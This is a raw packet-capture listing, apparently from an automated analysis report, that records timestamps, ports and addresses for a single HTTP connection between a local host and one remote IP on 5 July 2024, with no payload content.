Jul 5, 2024 06:23:07.312050104 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312067032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312078953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312088966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312089920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312089920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312099934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312110901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312120914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312131882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312133074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312133074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312144041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312160015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312161922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312172890 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312182903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312195063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312202930 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312205076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312217951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312232018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312239885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312247038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312247038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312252045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312263966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312280893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312288046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312288046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312292099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312309027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312319994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312330008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312339067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312339067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312340975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312354088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312365055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312376022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312382936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312382936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312387943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312398911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312410116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312417030 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312424898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312438011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312448025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312448978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312449932 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312458038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.312474012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.312508106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.314841986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.314889908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.314901114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.314912081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.314918995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.314929962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.314938068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.314938068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.314944029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.314965963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315032959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315043926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315057039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315062046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315069914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315082073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315089941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315097094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315097094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315102100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315133095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315151930 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315208912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315226078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315236092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315246105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315253019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315253019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315258026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315272093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315282106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315291882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315291882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315304041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315310001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315318108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315319061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315330029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315347910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315359116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315367937 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315368891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315367937 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315378904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315382957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315395117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315408945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315419912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315429926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315435886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315435886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315443993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315454006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315462112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315462112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.315463066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.315495968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.400770903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.400958061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.400975943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.400998116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401010990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401026964 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401034117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401046991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401058912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401066065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401072025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401084900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401097059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401098967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401098967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401108980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401119947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401129007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401133060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401160002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401171923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401174068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401174068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401184082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401202917 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401206017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401216984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401237965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401241064 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401241064 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401259899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401271105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401273966 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401276112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401284933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401295900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401300907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401307106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401314020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401320934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401331902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401345015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401350021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401350021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401357889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401366949 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401369095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401381016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401392937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401393890 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401407003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401422024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401427031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401427031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401439905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401451111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401463032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401473045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401477098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401477098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401484013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401496887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401508093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401520014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401535034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.401535034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401535034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401556015 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.401595116 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405303001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405343056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405354023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405395031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405433893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405503988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405525923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405539989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405553102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405565977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405566931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405566931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405577898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405579090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405601978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405617952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405622959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405635118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405636072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405647993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405661106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405662060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405673981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405687094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405699968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405699968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405699968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405714035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405725956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405738115 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405738115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405754089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405757904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405771017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405775070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405783892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405797005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405797958 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405808926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405817986 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405823946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405838013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405839920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405849934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405868053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.405879021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405879021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.405925989 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.458887100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.463737011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643659115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643670082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643681049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643690109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643701077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643712044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643723965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643734932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643791914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643819094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.643877983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.643950939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.643961906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644016027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644114971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644125938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644135952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644145012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644156933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644171953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644181013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644181013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644184113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644196033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644201994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644207954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644218922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644228935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644234896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644242048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644263983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644278049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644454956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644465923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644474983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644493103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644498110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644500017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644503117 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644512892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644522905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644531012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644566059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644566059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644602060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644612074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644623041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644633055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644643068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644644022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644655943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644661903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644669056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644680023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644682884 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644692898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644711018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644737959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644746065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644756079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644766092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644788980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644825935 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644932032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644943953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644953012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644963026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644977093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644985914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.644994974 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644994974 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.644999027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645010948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645020962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645030975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645034075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645041943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645060062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645071030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645071030 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645071030 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645081997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645092010 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645095110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645139933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645139933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645253897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645270109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645278931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645288944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645301104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645312071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645318031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645320892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645320892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645334959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645343065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645349979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645359993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645369053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645378113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645406961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645407915 CEST	49699	80	192.168.2.7	85.28.47.30
